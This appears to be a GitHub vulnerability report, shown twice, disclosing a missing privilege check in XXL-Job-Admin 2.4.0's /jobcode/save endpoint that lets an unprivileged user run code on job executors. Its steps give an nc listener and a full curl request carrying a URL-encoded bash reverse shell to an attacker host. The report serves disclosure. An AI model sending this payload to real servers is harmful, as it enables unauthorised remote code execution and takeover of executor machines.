xxl-job-admin 2.4.0 is vulnerable to Remote Code Execution (RCE) via /xxl-job-admin/jobcode/save.
### Environment
MySQL 5.7.44, XXL-Job-Admin 2.4.0
Virtual Machine 1: Ubuntu 22.04.3 (as XXL-Job-Admin)
Virtual Machine 2: Ubuntu 22.04.3 (as XXL-Job-Executor)

### Vulnerability Information
It was found that the /xxl-job-admin/jobcode/save does not validate user privilege. The modification of code in running cronjob for job executor does not require privileged user access. By leveraging the vulnerability, users could craft HTTP requests to modify and run arbitrary code (e.g., sensitive information disclosure OR reverse shell) on the job executor.   

### Steps to reproduce the behavior
Step 1: Create a listener 
`nc -nlvp 8888`
![image](https://github.com/xuxueli/xxl-job/assets/150101148/4125380f-e583-4adb-9008-261b69ce6e92)

Step 2: Create a unprivileged user and get its cookie
![image](https://github.com/xuxueli/xxl-job/assets/150101148/c9c038d9-fe5e-4a02-9c92-90e222948629)
![image](https://github.com/xuxueli/xxl-job/assets/150101148/722800e8-c1a8-4515-84f9-250413cb7e7d)

Step 3: Craft an HTTP request for job code saving. This demonstration will be a reverse shell payload.
`curl http://<IP Address>:<Port>/xxl-job-admin/jobcode/save --cookie "xxljob_adminlte_settings=on; XXL_JOB_LOGIN_IDENTITY=<Unprivileged Cookie>" -d "id=2&glueSource=%23%2Fbin%2Fbash%0Abash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F<Reverse shell IP>%2F<Reverse shell port>%200%3E%261&glueRemark=Test"`
![image](https://github.com/xuxueli/xxl-job/assets/150101148/8f77a3b2-fbd0-4eea-9fa0-ab872251b956)

Step 4. Trigger the cronjob/wait until cronjob executes. A reverse shell will be executed.
![image](https://github.com/xuxueli/xxl-job/assets/150101148/989bacd3-e4eb-423d-af97-ede9166067fe)
![image](https://github.com/xuxueli/xxl-job/assets/150101148/1bd48ff0-5b6b-4e61-8e20-6649a006c02c)




Remote Code Execution in /xxl-job-admin/jobcode/save
This is a GitHub Issue
repo:xxl-job
owner:xuxueli
Title : Remote Code Execution in /xxl-job-admin/jobcode/save
Issue date:

--- start body ---
### Environment
MySQL 5.7.44, XXL-Job-Admin 2.4.0
Virtual Machine 1: Ubuntu 22.04.3 (as XXL-Job-Admin)
Virtual Machine 2: Ubuntu 22.04.3 (as XXL-Job-Executor)

### Vulnerability Information
It was found that the /xxl-job-admin/jobcode/save does not validate user privilege. The modification of code in running cronjob for job executor does not require privileged user access. By leveraging the vulnerability, users could craft HTTP requests to modify and run arbitrary code (e.g., sensitive information disclosure OR reverse shell) on the job executor.   

### Steps to reproduce the behavior
Step 1: Create a listener 
`nc -nlvp 8888`
![image](https://github.com/xuxueli/xxl-job/assets/150101148/4125380f-e583-4adb-9008-261b69ce6e92)

Step 2: Create a unprivileged user and get its cookie
![image](https://github.com/xuxueli/xxl-job/assets/150101148/c9c038d9-fe5e-4a02-9c92-90e222948629)
![image](https://github.com/xuxueli/xxl-job/assets/150101148/722800e8-c1a8-4515-84f9-250413cb7e7d)

Step 3: Craft an HTTP request for job code saving. This demonstration will be a reverse shell payload.
`curl http://<IP Address>:<Port>/xxl-job-admin/jobcode/save --cookie "xxljob_adminlte_settings=on; XXL_JOB_LOGIN_IDENTITY=<Unprivileged Cookie>" -d "id=2&glueSource=%23%2Fbin%2Fbash%0Abash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F<Reverse shell IP>%2F<Reverse shell port>%200%3E%261&glueRemark=Test"`
![image](https://github.com/xuxueli/xxl-job/assets/150101148/8f77a3b2-fbd0-4eea-9fa0-ab872251b956)

Step 4. Trigger the cronjob/wait until cronjob executes. A reverse shell will be executed.
![image](https://github.com/xuxueli/xxl-job/assets/150101148/989bacd3-e4eb-423d-af97-ede9166067fe)
![image](https://github.com/xuxueli/xxl-job/assets/150101148/1bd48ff0-5b6b-4e61-8e20-6649a006c02c)




--- end body ---
